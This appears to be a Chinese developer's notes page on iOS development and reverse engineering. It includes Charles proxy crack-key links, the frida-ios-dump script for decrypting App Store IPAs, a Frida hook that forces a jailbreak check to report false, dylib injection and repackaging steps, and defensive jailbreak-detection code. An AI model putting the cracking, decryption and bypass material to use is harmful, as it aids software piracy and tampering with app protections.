★★★ | [OmmWriter] | 静心写作 | $4.99 | [#](http://www.148apps.com/reviews/ommwriter-ipad-review/)
★★★ | [Prompt] | SSH远程Host管理客户端 | $7.99 | [#](http://www.148apps.com/reviews/prompt-review/)
★★★ | [iA Writer] | 写作工具 | $4.99 | [#](http://www.geekswithjuniors.com/blog/2012/10/17/ia-writer.html)
★★★ | [StockWatch] | 股票行情查看 | $5.99 | [#](http://www.imore.com/bloomberg-ipad-review-casual-stock-app-ipad)
★★★ | [Money Monitor] | 金融理财记账工具 | $1.99 | [#](http://www.imore.com/top-5-budget-finance-tracking-apps-iphone)
★★★ | [Living Earth Clock] | 全球时间工具 | $2.99 | [#](http://www.148apps.com/reviews/living-earth-hd-world-time-clock-weather-review/)
★★★ | [Sync for Firefox] | 如果你是火狐用户 | $0.99 | [#](https://support.mozilla.org/en-US/questions/964649)
★★★ | [Screens VNC] | 远程桌面工具VNC | $19.99 | [#](http://www.imore.com/screens-20-review)
★★★ | [Mobile Mouse] | 用手机做为鼠标或触控板 | $1.99 | [#](http://www.knowyourmobile.com/apps/10288/mobile-mouse-ipad-review)
★★★ | [Live Cams Pro] | 使用查看全球数以千计的公共摄像头 | $3.99 | [#](http://forums.imore.com/ios-apps-games/258748-world-live-cams-pro-surveillance-camera-viewer-app.html)
★★★ | [FileBrowser] | 查看远程电脑的文件 | $4.99 | [#](http://www.macworld.com/product/462870/filebrowser-access-files-on-remote-computers.html)
★★★ | [TextGrabber] | OCR图片文字识别(图转字)工具 | $5.99 | [#](http://www.iphonejd.com/iphone_jd/2013/04/review-abbyy-textgrabber-translator.html)
★★★ | [欧路词典 Pro] | 翻译软件,支持离线词库,屏幕取词 | ¥18 | [#](http://www.eudic.net/eudic/mac_dictionary.aspx)
★★★ | [Mercury Browser Pro] | 浏览器 | $0.99 | [#](http://www.macworld.com/product/377687/mercury-web-browser-pro-the-most-advanced-brow.html)
★★★ | [Air Video] | 移动端播放电脑上的视频流,无需拷贝 | $2.99 | [#](http://www.tuaw.com/2013/11/05/how-a-pc-and-air-video-hd-turned-my-ipad-into-the-ultimate-enter/)
★★★ | [MacID](https://itunes.apple.com/app/id948478740?mt=8&ls=1) | 手机解锁 Mac, iOS 和 macOS 间剪贴板,itunes 简单控制 | $3.99 | [#](https://itunes.apple.com/app/id948478740?mt=8&ls=1)
# -----------------------------------
### iOS群控实现 - WebDriverAgent
## [iPhone群控测试开发教程](https://mp.weixin.qq.com/s?__biz=MjM5MjUxODExMQ==&mid=2652393753&idx=1&sn=1edb1a7db6b4225dbd4b6b4df8af96f7&chksm=bd49eba98a3e62bf45ec72d14dd0640268bef05efb4489edd3c0c4803049e50f369fa98c4711&mpshare=1&scene=22&srcid=11160hQ6GGnxFSQxIxb5Yf2N&sharer_sharetime=1637022101829&sharer_shareid=7a5b79e2ee76a21460e7fe67bd1a6b50#rd)
```
WebDriverAgent是用于iOS的WebDriver服务器实现,
可用于远程控制iOS设备。它允许您启动和终止应用程序,
点击并滚动视图或确认屏幕上是否存在视图。
这使其成为用于应用程序端到端测试或通用设备自动化的理想工具。
它通过链接XCTest.framework和调用Apple的API
来直接在设备上执行命令来工作。
WebDriverAgent是Facebook开发和用于端到端测试的
安装 homebrew
homebrew 是 Mac OS 下最优秀的包管理工具,没有之一。
xcode-select --install ruby -e "$(curl -fsSLhttps://raw.githubusercontent.com/Homebrew/install/master/install)"
安装 python
脚本语言 python 用来编写模拟的用户操作。
brew install python3
安装 libimobiledevice
libimobiledevice 是一个使用原生协议与苹果iOS设备进行通信的库。
通过这个库我们的 Mac OS 能够轻松获得 iOS 设备的信息。
brew install --HEAD libimobiledevice
查看 iOS 设备日志
idevicesyslog
查看链接设备的UDID
idevice_id --list
查看设备信息
ideviceinfo
获取设备时间
idevicedate
获取设备名称
idevicename
端口转发
iproxy XXXX YYYY
屏幕截图
idevicescreenshot
安装 Carthage
Carthage 是一款iOS项目依赖管理工具,与 Cocoapods 有着相似的功能,可以帮助你方便的管理三方依赖。它会把三方依赖编译成 framework,以 framework 的形式将三方依赖加入到项目中进行使用和管理。
WebDriverAgent 本身使用了 Carthage 管理项目依赖,因此需要提前安装 Carthage。
brew install carthage
安装 WebDriverAgent
WebDriverAgent 是 Facebook 推出的一款 iOS 移动测试框架,能够支持模拟器以及真机。
WebDriverAgent 在 iOS 端实现了一个 WebDriver server ,借助这个 server 我们可以远程控制 iOS 设备。你可以启动、杀死应用,点击、滚动视图,或者确定页面展示是否正确。
从 github 克隆 WebDriverAgent 的源码。
git clone https://github.com/facebook/WebDriverAgent.git
运行初始化脚本,确保之前已经安装过 Carthage。
iPhone群控测试开发教程
https://mp.weixin.qq.com/s?__biz=MjM5MjUxODExMQ==&mid=2652393753&idx=1&sn=1edb1a7db6b4225dbd4b6b4df8af96f7&chksm=bd49eba98a3e62bf45ec72d14dd0640268bef05efb4489edd3c0c4803049e50f369fa98c4711&mpshare=1&scene=22&srcid=11160hQ6GGnxFSQxIxb5Yf2N&sharer_sharetime=1637022101829&sharer_shareid=7a5b79e2ee76a21460e7fe67bd1a6b50#rd
```
### 自定义创建.dylib文件
```
1.创建新工程 , 选择OS X ->Framework&Library-> Library
2.TARGETS ->Build Settings -> Installation Directory 修改成@executable_path/
3.TARGETS -> Build Settings -> Base SDK 改成Latest iOS或者iOS X.X
4.PROJECT->Info->iOS Deployment Target 选择版本支持
5.Project->Build Settings ->Base SDK 改成Latest iOS或者iOS X.X6.选择证书
7.选择设备, 运行
```
## 越狱iOS系统内存限制修改
在 iOS 中重要的监控网络进程内存使用量和停止溢出限制的边缘配置在它的配置 Jetsam 中有相关的内存做限制的,
它的一般文件在/System/Library/LaunchDaemons/com.apple.jetsamproperties.{Model}.plist,
模型在各个手机上可能里面对 VPN 进程做限制的条目是:
com.apple.networkextension.packet-tunnel
ActiveHardMemoryLimit
15
InactiveHardMemoryLimit
15
JetsamPriority
14
打开文件后搜索packet-tunnel找到,其中有两个15就是 iOS 对 VPN 进程的内存限制值 15MB。
要修改iOS VPN进程的内存限制,我们很容易复制iFile等文件管理工具找到这些配置文件,到电脑上然后对相关数值进行修改,修改后覆盖原始文件,恢复一下手机智能。
打开要这些plist文件需要一些特殊的编辑器;如果你用的是macOS,且安装有Xcode中,那就可以直接双击打开,
要修改的很明显,就是要把内容改大就行,比如把原来的15MB的限制改为30MB的限制:
com.apple.networkextension.packet-tunnel
ActiveHardMemoryLimit
30
InactiveHardMemoryLimit
30
JetsamPriority
14
## Charles 抓包工具
Charles激活码: https://www.zzzmode.com/mytools/charles/
```
安装使用最新版,官方下载地址 https://www.charlesproxy.com/download
此工具用于计算Charles激活码,下载代码 ,在线运行代码:https://play.golang.org/p/Qtt2CmHbTzU
blog介绍: https://blog.zzzmode.com/2017/05/16/charles-4.0.2-cracked
输入RegisterName(此名称随意,用于显示 Registered to xxx),点击生成计算出注册码,打开Charles输入注册码即可。
```
## dyld 苹果操作系统的动态链接器
```
dyld和操作系统的关系准确来说,操作系统通过映射的方式将它加载到进程的地址空间中。
操作系统加载完dyld后,就把控制权交给dyld。当dyld得到控制权后,其自身开始一系列的初始化操作,然后后根据设置的环境变量,
对可执行文件进行链接工作,这个链接步骤称为动态链接(dynamic link)。
当所有链接工作完成后,dyld会把控制权交给可执行文件的入口,程序开始执行。
那可执行文件又是什么,既然有动态链接,是否也有静态链接?是的,静态链接就是生成可执行文件的一个重要步骤。
2.2 可执行文件
可执行文件是程序的源代码文件经过预编译、编译、汇编生成的目标文件,进一步通过链接合并成可供系统执行的文件,
也就是mach.o文件。可执行文件需要被装载进内存,才能被系统读取。
这是mach.o文件结构的官方图。其主要分为三个部分:
Header(头部信息),说明整个Mach.o文件的基本信息
Load Commands(加载命令),说明系统应该怎么加载文件中的数据
Data(文件数据),包含符号表,代码签名,程序代码等数据。
可执行文件查看步骤:
在项目Products文件夹下的.app结尾的文件 Show In Finder,然后显示包内容
但是想要可视化可执行文件,还需要借助第三方软件MachOView。
可执行文件生成的步骤如果展开来,不是三言两语能讲清楚的,这里只做个简单的介绍:
预编译:**预编译的过程就是处理源代码文件中以"#"开头的预编译指令,将其展开。
**
编译:编译的过程就是把预编译后文件进一步做词法分析,语法分析,生成抽象语法树,经过语义分析后转换成中间代码,优化后生成汇编代码文件。
汇编:汇编的过程就是把汇编代码转变成机器可以执行的指令。
链接:链接的过程就是把各个源代码模块相互引用的部分进行处理,让它们之间可以正确链接。这里的链接即为静态链接。
装载:** 装载的过程就是把程序执行所需要的指令和数据都装入内存中**
静态链接是编译时的链接工作,动态链接是运行时的链接工作,虽然它们做的事很相似,但是不可混为一谈。
dyld2:在iOS13之前使用的版本
dyld3:在iOS13及之后使用的版本,iOS11之前的系统库优化已经使用
dyld2在启动时做了大量的计算和查找操作,系统为了优化启动时间,设计了dyld3,dyld3的接口和dyld2是兼容的,因此开发者没有任何感知。
dyld3的特点是进程外的且有缓存的,启动app前把很多耗时操作提前处理好了。据统计,在冷启动时,dyld3比dyld2快20%。
但是由于dyld3是未开源的,因此本文是基于dyld2展开流程分析的,这些工作流程在dyld3也是存在的,可能只是时机会有所不同。
ASLR(Address space layout randomization):地址空间布局随机化,虚拟地址在内存中会发生的偏移量。增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
PIC(Position Independent Code):程序中共享指令部分在装载时不需要因为装载地址的改变而改变,实现共享。
页错误(Page Fault):在当前页中找不到所需指令。操作系统需要计算相应页面在可执行文件中的偏移,在物理内存中分配物理页面,在虚拟页和物理页建立映射关系。程序才能从发生页面错误的位置重新执行。
延迟绑定(Lazy Binding):函数第一次被使用时才进行绑定(符号查找,重定位等)。
```
## Clang编译器
```
Clang是LLVM项目中的一个子项目。它是基于LLVM架构的轻量级编译器,诞生之初是为了替代GCC,
提供更快的编译速度。它是负责编译C、C++、Objecte C语言的编译器,它属于整个LLVM架构中的编译器前端。
```
## iOS系统响应事件机制
```
1.手指触碰屏幕,屏幕感应到触碰后,将事件交由IOKit处理。
2.IOKit将触摸事件封装成一个IOHIDEvent对象,并通过mach port传递给SpringBoad进程。
mach port 进程端口,各进程之间通过它进行通信。
SpringBoad.app 是一个系统进程,可以理解为桌面系统,可以统一管理和分发系统接收到的触摸事件。
3. SpringBoard进程因接收到触摸事件,触发了主线程runloop的source1事件源的回调。
此时SpringBoard会根据当前桌面的状态,判断应该由谁处理此次触摸事件。
因为事件发生时,你可能正在桌面上翻页,也可能正在刷微博。
若是前者(即前台无APP运行),
则触发SpringBoard本身主线程runloop的source0事件源的回调,
将事件交由桌面系统去消耗;若是后者(即有app正在前台运行),
则将触摸事件通过IPC传递给前台APP进程
```
# iOS动态库注入方式
```
dylib注入也有三种方式:
1.越狱环境下, 将动态库上传到DynamicLibraries目录下
2.越狱环境下, 使用dyld中的DYLD_INSERT_LIBRARIES环境变量
3.免越狱环境下, 使用optool或者yololib工具给macho新增Load command
```
## class-dump类对关键属性名和方法名做混淆处理 怎么办?
### iOS逆向静态分析工具大概查看它的实现逻辑
```
静态分析工具是能够将macho文件的机器语言代码反编译成汇编代码、OC伪代码或者Swift伪代码,同时可以快速查看关键字符串信息。
这就很强大了,意味着可以通过查看方法的执行流程,判断条件等信息明白它在做什么,如果本地字符串未做混淆,
也可以直接被获取到(比如有些app秘钥明文存储本地,这就危险了)。
iOS平台主要使用的静态分析工具有Hopper和IDA。
IDA更强大,它能够翻译成的伪代码更接近于高级语言,但是它的收费也是昂贵的。
Hopper虽然不如IDA强大,但也是够用的了,所以我个人使用的是Hopper。
把Mach-O文件直接拖入Hopper,尝试搜索你感兴趣或者头文件中存在的字符,会得到如下界面
```
## iOS逆向动态调试工具
```
动态调试就是将程序运行起来,通过打断点(LLDB需要)、打印等方式,查看参数、返回值、函数调用流程等信息,
通过输出界面信息迅速定位目标代码,还可以动态的修改内存和寄存器中的参数,达到绕过检测,更改执行流程等目的。
动态调试主要有LLDB和CyCript两种工具,两种都很好强大,也各有各的好,建议两种方式都需要学习。
神器FLEX界面调试UI
```
## iOS 图形渲染
```
UIKit:通过UIKit提供的街交口进行布局和绘制界面,UIKit本身不具备显示能力,是通过底层的layer实现的。
CoreAnimation:本质上是一个复合引擎,主要职责在于渲染,构建和动画。CAlayer属于CoreAnimation,是界面可视化的承载。
CoreGraphics:基于Quartz的高级绘图引擎,提供了轻量级的2d渲染能力,主要是用于运行时绘图的。CG开头的类都属于CoreGraphics。
CoreImage:一个高性能的图像处理分析的框架,运行前绘制图形,主要提供图形的滤镜功能。
OpenGL ES:针对嵌入式设备,是OpenGL的子集。直接操作硬件服务,是跨平台的。
Metal:苹果自研的针对自家设备的图形渲染标准,在苹果设备上性能最优。
```
## 浅谈iOS ipa砸壳知识
```
App Store上下载的包
苹果会对Mach-O里面__TETX段里面的内容进行加密,如果不解密无法做后续操作。
所以砸壳dump ipa技术就应运而生
砸壳分为静态砸壳和动态砸壳
动态砸壳的原理主要是
虽然Mach-O中的__TEXT段被苹果加密了,
但是系统如果要运行程序,肯定需要对内容进行解密。
所以就不去主动的砸掉原有的加密壳,而是当应用程序打开运行后,壳被系统自动解密后,
在内存中把解密后的数据二进制文件提取出来,也就达到了砸壳的目的。
(手机端插件CrackerXI砸壳, frida-ios-dump电脑砸壳)
iOS利用CrackerXI(脱壳): https://www.jianshu.com/p/97a97ff81384
```
## iOS AutoreleasePool原理
```
自动释放池本质是一个AutoreleasePoolPage结构体对象,栈结构存储,每一个AutoreleasePoolPage以双向链表形式连接
自动释放的压栈和出栈本质上是调用AutoreleasePoolPage的push和pop方法
push 压栈
判断hotPage是否存在
不存在,autoreleaseNoPage创建新hotPage,调用add方法将对象添加至page栈中
存在满了,autoreleaseFullPage初始新的page
存在没满,调用add方法将对象添加到page的next指针,next指针++
pop 出栈
执行pop出栈时,会传入push操作的返回值,即POOL_BOUNDARY的内存地址token,根据token找到哨兵对象所在,并释放之前的对象,next指针--
```
## 响应式编程
```
也叫做声明式编程,这是现在前端开发的主流,当然对于客户端开发的一种趋势,比如SwiftUI 。
响应式简单来说其实就是你不需要手动更新界面,只需要把界面通过代码“声明”好,然后把数据和界面的关系接好,数据更新了界面自然就更新了。
从代码层面看,对于原生开发而言,没有 xml 的布局,没有 storyboard,布局完全由代码完成,所见即所得,
同时也不会需要操作界面“对象”去进行赋值和更新,你所需要做的就是配置数据和界面的关系。
响应式开发比数据绑定或者 MVVM 不同的地方是,它每次都是重新构建和调整整个渲染树,而不是简单的对 UI 进行 visibility 操作。
```
## python3-frida-ios-hook-jailbreak
```
#!/usr/bin/env python3
import sys
import codecs
import frida
import threading
import os
import shutil
import time
import argparse
import tempfile
import subprocess
import re
import paramiko
from paramiko import SSHClient
from scp import SCPClient
from tqdm import tqdm
import traceback
from log import *
script_dir = os.path.dirname(os.path.realpath(__file__))
DUMP_JS = os.path.join(script_dir, '../../methods/dump.js')
User = 'root'
Password = 'alpine'
Host = 'localhost'
Port = 2222
TEMP_DIR = tempfile.gettempdir()
PAYLOAD_DIR = 'Payload'
PAYLOAD_PATH = os.path.join(TEMP_DIR, PAYLOAD_DIR)
file_dict = {}
finished = threading.Event()
def get_usb_iphone():
Type = 'usb'
if int(frida.__version__.split('.')[0]) < 12:
Type = 'tether'
device_manager = frida.get_device_manager()
changed = threading.Event()
def on_changed():
changed.set()
device_manager.on('changed', on_changed)
device = None
while device is None:
devices = [dev for dev in device_manager.enumerate_devices() if dev.type == Type]
if len(devices) == 0:
print('Waiting for USB device...')
changed.wait()
else:
device = devices[0]
device_manager.off('changed', on_changed)
return device
def generate_ipa(path, display_name):
ipa_filename = display_name + '.ipa'
logger.info('Generating "{}"'.format(ipa_filename))
try:
app_name = file_dict['app']
for key, value in file_dict.items():
from_dir = os.path.join(path, key)
to_dir = os.path.join(path, app_name, value)
if key != 'app':
shutil.move(from_dir, to_dir)
target_dir = './' + PAYLOAD_DIR
zip_args = ('zip', '-qr', os.path.join(os.getcwd(), ipa_filename), target_dir)
subprocess.check_call(zip_args, cwd=TEMP_DIR)
shutil.rmtree(PAYLOAD_PATH)
except Exception as e:
print(e)
finished.set()
def on_message(message, data):
t = tqdm(unit='B',unit_scale=True,unit_divisor=1024,miniters=1)
last_sent = [0]
def progress(filename, size, sent):
t.desc = os.path.basename(filename).decode("utf-8")
t.total = size
t.update(sent - last_sent[0])
last_sent[0] = 0 if size == sent else sent
if 'payload' in message:
payload = message['payload']
if 'dump' in payload:
origin_path = payload['path']
dump_path = payload['dump']
scp_from = dump_path
scp_to = PAYLOAD_PATH + '/'
with SCPClient(ssh.get_transport(), progress = progress, socket_timeout = 60) as scp:
scp.get(scp_from, scp_to)
chmod_dir = os.path.join(PAYLOAD_PATH, os.path.basename(dump_path))
chmod_args = ('chmod', '655', chmod_dir)
try:
subprocess.check_call(chmod_args)
except subprocess.CalledProcessError as err:
print(err)
index = origin_path.find('.app/')
file_dict[os.path.basename(dump_path)] = origin_path[index + 5:]
if 'app' in payload:
app_path = payload['app']
scp_from = app_path
scp_to = PAYLOAD_PATH + '/'
with SCPClient(ssh.get_transport(), progress = progress, socket_timeout = 60) as scp:
scp.get(scp_from, scp_to, recursive=True)
chmod_dir = os.path.join(PAYLOAD_PATH, os.path.basename(app_path))
chmod_args = ('chmod', '755', chmod_dir)
try:
subprocess.check_call(chmod_args)
except subprocess.CalledProcessError as err:
print(err)
file_dict['app'] = os.path.basename(app_path)
if 'done' in payload:
finished.set()
t.close()
def compare_applications(a, b):
a_is_running = a.pid != 0
b_is_running = b.pid != 0
if a_is_running == b_is_running:
if a.name > b.name:
return 1
elif a.name < b.name:
return -1
else:
return 0
elif a_is_running:
return -1
else:
return 1
def get_applications(device):
try:
applications = device.enumerate_applications()
except Exception as e:
sys.exit('Failed to enumerate applications: %s' % e)
return applications
def load_js_file(session, filename):
source = ''
with codecs.open(filename, 'r', 'utf-8') as f:
source = source + f.read()
script = session.create_script(source)
script.on('message', on_message)
script.load()
return script
def create_dir(path):
path = path.strip()
path = path.rstrip('\\')
if os.path.exists(path):
shutil.rmtree(path)
try:
os.makedirs(path)
except os.error as err:
print(err)
def open_target_app(device, name_or_bundleid):
logger.info('Start the target app {}'.format(name_or_bundleid))
pid = ''
session = None
display_name = ''
bundle_identifier = ''
for application in get_applications(device):
if name_or_bundleid == application.identifier or name_or_bundleid == application.name:
pid = application.pid
display_name = application.name
bundle_identifier = application.identifier
try:
if not pid:
pid = device.spawn([bundle_identifier])
session = device.attach(pid)
device.resume(pid)
else:
session = device.attach(pid)
except Exception as e:
print(e)
return session, display_name, bundle_identifier
def start_dump(session, ipa_name):
logger.info('Dumping {} to {}'.format(display_name, TEMP_DIR))
script = load_js_file(session, DUMP_JS)
script.post('dump')
finished.wait()
generate_ipa(PAYLOAD_PATH, ipa_name)
if session:
session.detach()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='frida-ios-dump (by AloneMonkey v2.0)')
parser.add_argument('-l', '--list', dest='list_applications', action='store_true', help='List the installed apps')
parser.add_argument('-o', '--output', dest='output_ipa', help='Specify name of the decrypted IPA')
parser.add_argument('target', nargs='?', help='Bundle identifier or display name of the target app')
args = parser.parse_args()
exit_code = 0
ssh = None
if not len(sys.argv[1:]):
parser.print_help()
sys.exit(exit_code)
device = get_usb_iphone()
if args.list_applications:
list_applications(device)
else:
name_or_bundleid = args.target
output_ipa = args.output_ipa
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(Host, port=Port, username=User, password=Password)
create_dir(PAYLOAD_PATH)
(session, display_name, bundle_identifier) = open_target_app(device, name_or_bundleid)
if output_ipa is None:
output_ipa = display_name
output_ipa = re.sub('\.ipa$', '', output_ipa)
if session:
start_dump(session, output_ipa)
except paramiko.ssh_exception.NoValidConnectionsError as e:
print(e)
exit_code = 1
except paramiko.AuthenticationException as e:
print(e)
exit_code = 1
except Exception as e:
print('*** Caught exception: %s: %s' % (e.__class__, e))
traceback.print_exc()
exit_code = 1
if ssh:
ssh.close()
if os.path.exists(PAYLOAD_PATH):
shutil.rmtree(PAYLOAD_PATH)
sys.exit(exit_code)
```
## 屏蔽越狱检测脚本
```
function bypassJailbreakDetection() {
try {
var className = "JailbreakDetection";
var funcName = "+ isJail";
var hook = eval('ObjC.classes.' + className + '["' + funcName + '"]');
Interceptor.attach(hook.implementation, {
onLeave: function(retval) {
console.log("[*] Class Name: " + className);
console.log("[*] Method Name: " + funcName);
console.log("\t[-] Type of return value: " + typeof retval);
console.log("\t[-] Original Return Value: " + retval);
retval.replace(0x0);
console.log("\t[-] Type of return value: " + typeof retval);
console.log("\t[-] Return Value: " + retval);
}
});
} catch(err) {
console.log("[-] Error: " + err.message);
}
}
if (ObjC.available) {
bypassJailbreakDetection();
} else {
send("error: Objective-C Runtime is not available!");
}
```
## 反iOS越狱检测
```
#import
#import
#import
#import
#import
#import
#import
#include
#import
#import
static char *JbPaths[] = {"/Applications/Cydia.app",
"/usr/sbin/sshd",
"/bin/bash",
"/etc/apt",
"/Library/MobileSubstrate",
"/User/Applications/"};
static NSSet *sDylibSet ; // 需要检测的动态库
static BOOL SCHECK_USER = NO; /// 检测是否越狱
@implementation UserCust
+ (void)load {
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
sDylibSet = [NSSet setWithObjects:
@"/usr/lib/CepheiUI.framework/CepheiUI",
@"/usr/lib/libsubstitute.dylib",
@"/usr/lib/substitute-inserter.dylib",
@"/usr/lib/substitute-loader.dylib",
@"/usr/lib/substrate/SubstrateLoader.dylib",
@"/usr/lib/substrate/SubstrateInserter.dylib",
@"/Library/MobileSubstrate/MobileSubstrate.dylib",
@"/Library/MobileSubstrate/DynamicLibraries/0Shadow.dylib",
nil];
_dyld_register_func_for_add_image(_check_image);
});
}
+ (instancetype)sharedInstance {
static id sharedInstance = nil;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
sharedInstance = [self new];
});
return sharedInstance;
}
// 监听image加载,从这里判断动态库是否加载,因为其他的检测动态库的方案会被hook
static void _check_image(const struct mach_header *header,
intptr_t slide) {
// hook Image load
if (SCHECK_USER) {
// 检测后就不在检测
return;
}
// 检测的lib
Dl_info info;
// 0表示加载失败了,这里大概率是被hook导致的
if (dladdr(header, &info) == 0) {
char *dlerro = dlerror();
// 获取失败了 但是返回了dli_fname, 说明被人hook了,目前看的方案都是直接返回0来绕过的
if(dlerro == NULL && info.dli_fname != NULL) {
NSString *libName = [NSString stringWithUTF8String:info.dli_fname];
// 判断有没有在动态列表里面
if ([sDylibSet containsObject:libName]) {
SCHECK_USER = YES;
}
}
return;
}
}
// 越狱检测
- (BOOL)UVItinitse {
if (SCHECK_USER) {
return YES;
}
if (isStatNotSystemLib()) {
return YES;
}
if (isDebugged()) {
return YES;
}
if (isInjectedWithDynamicLibrary()) {
return YES;
}
if (JCheckKuyt()) {
return YES;
}
if (dyldEnvironmentVariables()) {
return YES;
}
return NO;
}
CFRunLoopSourceRef gSocketSource;
BOOL fileExist(NSString* path)
{
NSFileManager *fileManager = [NSFileManager defaultManager];
BOOL isDirectory = NO;
if([fileManager fileExistsAtPath:path isDirectory:&isDirectory]){
return YES;
}
return NO;
}
BOOL directoryExist(NSString* path)
{
NSFileManager *fileManager = [NSFileManager defaultManager];
BOOL isDirectory = YES;
if([fileManager fileExistsAtPath:path isDirectory:&isDirectory]){
return YES;
}
return NO;
}
BOOL canOpen(NSString* path)
{
FILE *file = fopen([path UTF8String], "r");
if(file==nil){
return fileExist(path) || directoryExist(path);
}
fclose(file);
return YES;
}
#pragma mark 使用NSFileManager通过检测一些越狱后的关键文件是否可以访问来判断是否越狱
// 检测越狱
BOOL JCheckKuyt()
{
if(TARGET_IPHONE_SIMULATOR)return NO;
//Check cydia URL hook canOpenURL 来绕过
if([[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://package/com.avl.com"]])
{
return YES;
}
if([[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://package/com.example.package"]])
{
return YES;
}
NSArray* checks = [[NSArray alloc] initWithObjects:@"/Application/Cydia.app",
@"/Library/MobileSubstrate/MobileSubstrate.dylib",
@"/bin/bash",
@"/usr/sbin/sshd",
@"/etc/apt",
@"/usr/bin/ssh",
@"/private/var/lib/apt",
@"/private/var/lib/cydia",
@"/private/var/tmp/cydia.log",
@"/Applications/WinterBoard.app",
@"/var/lib/cydia",
@"/private/etc/dpkg/origins/debian",
@"/bin.sh",
@"/private/etc/apt",
@"/etc/ssh/sshd_config",
@"/private/etc/ssh/sshd_config",
@"/Applications/SBSetttings.app",
@"/private/var/mobileLibrary/SBSettingsThemes/",
@"/private/var/stash",
@"/usr/libexec/sftp-server",
@"/usr/libexec/cydia/",
@"/usr/sbin/frida-server",
@"/usr/bin/cycript",
@"/usr/local/bin/cycript",
@"/usr/lib/libcycript.dylib",
@"/System/Library/LaunchDaemons/com.saurik.Cydia.Startup.plist",
@"/System/Library/LaunchDaemons/com.ikey.bbot.plist",
@"/Applications/FakeCarrier.app",
@"/Library/MobileSubstrate/DynamicLibraries/Veency.plist",
@"/Library/MobileSubstrate/DynamicLibraries/LiveClock.plist",
@"/usr/libexec/ssh-keysign",
@"/usr/libexec/sftp-server",
@"/Applications/blackra1n.app",
@"/Applications/IntelliScreen.app",
@"/Applications/Snoop-itConfig.app"
@"/var/lib/dpkg/info", nil];
//Check installed app
for(NSString* check in checks)
{
if(canOpen(check))
{
return YES;
}
}
//symlink verification
struct stat sym;
// hook lstat可以绕过
if(lstat("/Applications", &sym) || lstat("/var/stash/Library/Ringtones", &sym) ||
lstat("/var/stash/Library/Wallpaper", &sym) ||
lstat("/var/stash/usr/include", &sym) ||
lstat("/var/stash/usr/libexec", &sym) ||
lstat("/var/stash/usr/share", &sym) ||
lstat("/var/stash/usr/arm-apple-darwin9", &sym))
{
if(sym.st_mode & S_IFLNK)
{
return YES;
}
}
//Check process forking
// hook fork
int pid = fork();
if(!pid)
{
exit(1);
}
if(pid >= 0)
{
return YES;
}
// check has class only used in breakJail like HBPreferences. 越狱常用的类,这里无法绕过,只要多找一些特征类就可以,注意,很多反越狱插件会混淆,所以可能要通过查关键方法来识别
NSArray *checksClass = [[NSArray alloc] initWithObjects:@"HBPreferences",nil];
for(NSString *className in checksClass)
{
if (NSClassFromString(className) != NULL) {
return YES;
}
}
// Check permission to write to /private hook FileManager 和 writeToFile来绕过
NSString *path = @"/private/avl.txt";
NSFileManager *fileManager = [NSFileManager defaultManager];
@try {
NSError* error;
NSString *test = @"AVL was here";
[test writeToFile:path atomically:NO encoding:NSStringEncodingConversionAllowLossy error:&error];
[fileManager removeItemAtPath:path error:nil];
if(error==nil)
{
return YES;
}
return NO;
} @catch (NSException *exception) {
return NO;
}
}
BOOL isInjectedWithDynamicLibrary()
{
unsigned int outCount = 0;
const char **images = objc_copyImageNames(&outCount);
for (int i = 0; i < outCount; i++) {
printf("%s\n", images[i]);
}
int i=0;
while(true){
// hook _dyld_get_image_name方法可以绕过
const char *name = _dyld_get_image_name(i++);
if(name==NULL){
break;
}
if (name != NULL) {
NSString *libName = [NSString stringWithUTF8String:name];
if ([sDylibSet containsObject:libName]) {
return YES;
}
}
}
return NO;
}
#pragma mark 通过环境变量DYLD_INSERT_LIBRARIES检测是否越狱
BOOL dyldEnvironmentVariables ()
{
if(TARGET_IPHONE_SIMULATOR)return NO;
return !(NULL == getenv("DYLD_INSERT_LIBRARIES"));
}
#pragma mark 校验当前进程是否为调试模式,hook sysctl方法可以绕过
// Returns true if the current process is being debugged (either
// running under the debugger or has a debugger attached post facto).
// Thanks to https://developer.apple.com/library/archive/qa/qa1361/_index.html
BOOL isDebugged()
{
int junk;
int mib[4];
struct kinfo_proc info;
size_t size;
info.kp_proc.p_flag = 0;
mib[0] = CTL_KERN;
mib[1] = KERN_PROC;
mib[2] = KERN_PROC_PID;
mib[3] = getpid();
size = sizeof(info);
junk = sysctl(mib, sizeof(mib) / sizeof(*mib), &info, &size, NULL, 0);
assert(junk == 0);
return ( (info.kp_proc.p_flag & P_TRACED) != 0 );
}
#pragma mark 使用stat通过检测一些越狱后的关键文件是否可以访问来判断是否越狱,hook stat 方法和dladdr可以绕过
BOOL isStatNotSystemLib() {
if(TARGET_IPHONE_SIMULATOR)return NO;
int ret ;
Dl_info dylib_info;
int (*func_stat)(const char *, struct stat *) = stat;
if ((ret = dladdr(func_stat, &dylib_info))) {
NSString *fName = [NSString stringWithUTF8String: dylib_info.dli_fname];
if(![fName isEqualToString:@"/usr/lib/system/libsystem_kernel.dylib"]){
return YES;
}
}
for (int i = 0;i < sizeof(JbPaths) / sizeof(char *);i++) {
struct stat stat_info;
if (0 == stat(JbPaths[i], &stat_info)) {
return YES;
}
}
return NO;
}
typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data);
#if !defined(PT_DENY_ATTACH)
#define PT_DENY_ATTACH 31
#endif
// 禁止gdb调试
- (void) disable_gdb {
if(TARGET_IPHONE_SIMULATOR)return;
void* handle = dlopen(0, RTLD_GLOBAL | RTLD_NOW);
ptrace_ptr_t ptrace_ptr = dlsym(handle, "ptrace");
ptrace_ptr(PT_DENY_ATTACH, 0, 0, 0);
dlclose(handle);
}
@end
```
## iOS逆向App流程
```
1. Clutch、frida, CrackXI 砸壳ipa;
2. class-dump导出class类头文件;
3. Reveal、Cycript, FLEX分析界面;
4. 分析类关系、函数调用逻辑,尝试进行hook;
5. theos调试、编译、打包、注入dylib;
6. codesign重签名、发布;
```
## debugserver - iOS逆向调试
一 lldb调试原理:debugserver
xcode的lldb之所以能调试app,是因为手机运行app,lldb会把调试指令发给手机的debugServer;
debugServer是由Xcode第一次运行程序给安装到手机上。
Xcode上查看debugserver:
